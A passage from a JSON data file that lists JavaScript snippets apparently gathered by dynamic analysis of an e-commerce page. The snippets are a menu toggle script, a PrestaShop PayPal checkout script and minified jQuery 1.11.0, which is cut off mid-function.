20)\t\t{\t\t\te.preventDefault();\t\t\tvar mobCatSubUl = $(this).next('.menu-mobile');\t\t\tvar mobMenuGrover = $(this).prev();\t\t\tif (mobCatSubUl.is(':hidden'))\t\t\t{\t\t\t\tmobCatSubUl.slideDown();\t\t\t\tmobMenuGrover.addClass('active');\t\t\t}\t\t\telse\t\t\t{\t\t\t\tmobCatSubUl.slideUp();\t\t\t\tmobMenuGrover.removeClass('active');\t\t\t}\t\t}\t});}// change the menu display at different resolutionsfunction menuChange(status){\tstatus == 'enable' ? mobileInit(): desktopInit();}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * 2007-2016 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2016 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */function updateFormDatas() { var nb = $('#quantity_wanted').val(); var id = $('#idCombination').val();$('#paypal_payment_form input[name=quantity]').val(nb); $('#paypal_payment_form input[name=id_p_attr]').val(id); } $(document).ready( function() {if($('#in_context_checkout_enabled').val() != 1) { $('#payment_paypal_express_checkout').click(function() { $('#paypal_payment_form').submit(); return false; }); }var jquery_version = $.fn.jquery.split('.'); if(jquery_version[0]>=1 && jquery_version[1] >= 7) { $('body').on('submit',\"#paypal_payment_form\", function () { updateFormDatas(); }); } else { $('#paypal_payment_form').live('submit', function () { updateFormDatas(); }); }function displayExpressCheckoutShortcut() { var id_product = $('input[name=\"id_product\"]').val(); var id_product_attribute = $('input[name=\"id_product_attribute\"]').val(); $.ajax({ type: \"GET\", url: baseDir+'/modules/paypal/express_checkout/ajax.php', data: { get_qty: \"1\", id_product: id_product, id_product_attribute: id_product_attribute }, cache: false, success: function(result) { if (result == '1') { $('#container_express_checkout').slideDown(); } else { $('#container_express_checkout').slideUp(); } return true; } }); }$('select[name^=\"group_\"]').change(function () { setTimeout(function(){displayExpressCheckoutShortcut()}, 500); });$('.color_pick').click(function () { setTimeout(function(){displayExpressCheckoutShortcut()}, 500); });if($('body#product').length > 0) setTimeout(function(){displayExpressCheckoutShortcut()}, 500);var modulePath = 'modules/paypal'; var subFolder = '/integral_evolution'; var baseDirPP = baseDir; var fullPath = baseDirPP + modulePath + subFolder; var confirmTimer = false; if ($('form[target=\"hss_iframe\"]').length == 0) { if ($('select[name^=\"group_\"]').length > 0) displayExpressCheckoutShortcut(); return false; } else { checkOrder(); }function checkOrder() { if(confirmTimer == false) confirmTimer = setInterval(getOrdersCount, 1000); }});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k=\"\".trim,l={},m=\"1.11.0\",n=function(a,b){return new n.fn.init(a,b)},o=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,p=/^-ms-/,q=/-([\\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g&&(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:\"jQuery\"+(m+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===n.type(a)},isArray:Array.isArray||function(a){return\"array\"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||\"object\"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,\"constructor\")&&!j.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}if(l.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?h[i.call(a)]||\"object\":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,\"ms-\").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:k&&!k.call(\"\\ufeff\\xa0\")?function(a){return null==a?\"\":k.call(a)}:function(a){return null==a?\"\":(a+\"\").replace(o,\"\")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,\"string\"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return\"string\"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return+new Date},support:l}),n.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(a,b){h[\"[object \"+b+\"]\"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return\"function\"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:\"array\"===c||0===b||\"number\"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s=\"sizzle\"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A=\"undefined\",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},J=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",K=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",L=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",M=L.replace(\"w\",\"w#\"),N=\"\\\\[\"+K+\"*(\"+L+\")\"+K+\"*(?:([*^$|!~]?=)\"+K+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+M+\")|)|)\"+K+\"*\\\\]\",O=\":(\"+L+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+N.replace(3,8)+\")*)|.*)\\\\)|)\",P=new RegExp(\"^\"+K+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+K+\"+$\",\"g\"),Q=new RegExp(\"^\"+K+\"*,\"+K+\"*\"),R=new RegExp(\"^\"+K+\"*([>+~]|\"+K+\")\"+K+\"*\"),S=new RegExp(\"=\"+K+\"*([^\\\\]'\\\"]*?)\"+K+\"*\\\\]\",\"g\"),T=new RegExp(O),U=new RegExp(\"^\"+M+\"$\"),V={ID:new RegExp(\"^#(\"+L+\")\"),CLASS:new RegExp(\"^\\\\.(\"+L+\")\"),TAG:new RegExp(\"^(\"+L.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+N),PSEUDO:new RegExp(\"^\"+O),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+K+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+K+\"*(?:([+-]|)\"+K+\"*(\\\\d+)|))\"+K+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+J+\")$\",\"i\"),needsContext:new RegExp(\"^\"+K+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+K+\"*((?:-\\\\d)?\\\\d*)\"+K+\"*\\\\)|)(?=[^-]|$)\",\"i\")},W=/^(?:input|select|textarea|button)$/i,X=/^h\\d$/i,Y=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,$=/[+~]/,_=/'|\\\\/g,ab=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+K+\"?|(\"+K+\")|.)\",\"ig\"),bb=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||\"string\"!=typeof a)return d;if(1!==(i=b.nodeType)&&9!==i)return[];if(n&&!e){if(f=Z.exec(a))if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode)return d;if(g.id===h)return d.push(g),d}else if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h)return d.push(g),d}else{if(f[2])return G.apply(d,b.getElementsByTagName(a)),d;if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(h)),d}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&\"object\"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute(\"id\"))?q=p.replace(_,\"\\\\$&\"):b.setAttribute(\"id\",q),q=\"[id='\"+q+\"'] \",j=m.length;while(j--)m[j]=q+pb(m[j]);u=$.test(a)&&mb(b.parentNode)||b,v=m.join(\",\")}if(v)try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute(\"id\")}}}return xb(a.replace(P,\"$1\"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+\" \")>d.cacheLength&&delete b[a.shift()],b[c+\" \"]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement(\"div\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split(\"|\"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return\"input\"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return(\"input\"===c||\"button\"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?\"HTML\"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener(\"unload\",function(){k()},!1):g.attachEvent&&g.attachEvent(\"onunload\",function(){k()})),c.attributes=gb(function(a){return a.className=\"i\",!a.getAttribute(\"className\")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment(\"\")),!a.getElementsByTagName(\"*\").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML=\"<div class='a'></div><div class='a i'></div>\",a.firstChild.className=\"i\",2===a.getElementsByClassName(\"i\").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute(\"id\")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode(\"id\");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(\"*\"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML=\"<select t=''><option selected=''></option></select>\",a.querySelectorAll(\"[t^='']\").length&&o.push(\"[*^$]=\"+K+\"*(?:''|\\\"\\\")\"),a.querySelectorAll(\"[selected]\").length||o.push(\"\\\\[\"+K+\"*(?:value|\"+J+\")\"),a.querySelectorAll(\":checked\").length||o.push(\":checked\")}),gb(function(a){var b=e.createElement(\"input\");b.setAttribute(\"type\",\"hidden\"),a.appendChild(b).setAttribute(\"name\",\"D\"),a.querySelectorAll(\"[name=d]\").length&&o.push(\"name\"+K+\"*[*^$|!~]?=\"),a.querySelectorAll(\":enabled\").length||o.push(\":enabled\",\":disabled\"),a.querySelectorAll(\"*,:x\"),o.push(\",.*:\")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,\"div\"),q.call(a,\"[s!='']:x\"),p.push(\"!=\",O)}),o=o.length&&new RegExp(o.join(\"|\")),p=p.length&&new RegExp(p.join(\"|\")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},z=b?function(a,b){if(a===b)return j=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b)return j=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0;if(f===g)return ib(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)k.unshift(c);while(h[d]===k[d])d++;return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,\"='$1']\"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b)))try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return i=null,a},e=db.getText=function(a){var b,c=\"\",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(\"string\"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||\"\").replace(ab,bb),\"~=\"===a[2]&&(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),\"nth\"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(\"even\"===a[3]||\"odd\"===a[3])),a[5]=+(a[7]+a[8]||\"odd\"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(\")\",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return\"*\"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+\" \"];return b||(b=new RegExp(\"(^|\"+K+\")\"+a+\"(\"+K+\"|$)\"))&&w(a,function(a){return b.test(\"string\"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute(\"class\")||\"\")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?\"!=\"===b:b?(e+=\"\",\"=\"===b?e===c:\"!=\"===b?e!==c:\"^=\"===b?c&&0===e.indexOf(c):\"*=\"===b?c&&e.indexOf(c)>-1:\"$=\"===b?c&&e.slice(-c.length)===c:\"~=\"===b?(\" \"+e+\" \").indexOf(c)>-1:\"|=\"===b?e===c||e.slice(0,c.length+1)===c+\"-\":!1):!0}},CHILD:function(a,b,c,d,e){var f=\"nth\"!==a.slice(0,3),g=\"last\"!==a.slice(-4),h=\"of-type\"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?\"nextSibling\":\"previousSibling\",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=\"only\"===a&&!o&&\"nextSibling\"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}else if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error(\"unsupported pseudo: \"+a);return e[s]?e(b):e.length>1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,\"$1\"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||\"\")||db.error(\"unsupported lang: \"+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do if(c=n?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&\"button\"===a.type||\"button\"===b},text:function(a){var b;return\"input\"===a.nodeName.toLowerCase()&&\"text\"===a.type&&(null==(b=a.getAttribute(\"type\"))||\"text\"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=jb(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=kb(b);function nb(){}nb.prototype=d.filters=d.pseudos,d.setFilters=new nb;function ob(a,b){var c,e,f,g,h,i,j,k=x[a+\" \"];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=Q.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P,\" \")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?db.error(a):x(a,i).slice(0)}function pb(a){for(var b=0,c=a.length,d=\"\";c>b;b++)d+=a[b].value;return d}function qb(a,b,c){var d=b.dir,e=c&&\"parentNode\"===d,f=v++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||\"*\",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[\" \"],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return!g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++)if(c=d.relative[a[j].type])m=[qb(rb(m),c)];else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++)if(d.relative[a[e].type])break;return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:\" \"===a[j-2].type?\"*\":\"\"})).replace(P,\"$1\"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q=\"0\",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG(\"*\",k),w=u+=null==t?1:Math.random()||.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++])if(o(m,g,i)){j.push(m);break}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++])o(r,s,g,i);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=E.call(j));s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+\" \"];if(!f){b||(b=ob(a)),c=b.length;while(c--)f=ub(b[c]),f[s]?d.push(f):e.push(f);f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++)db(a,b[d],c);return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&\"ID\"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b)return 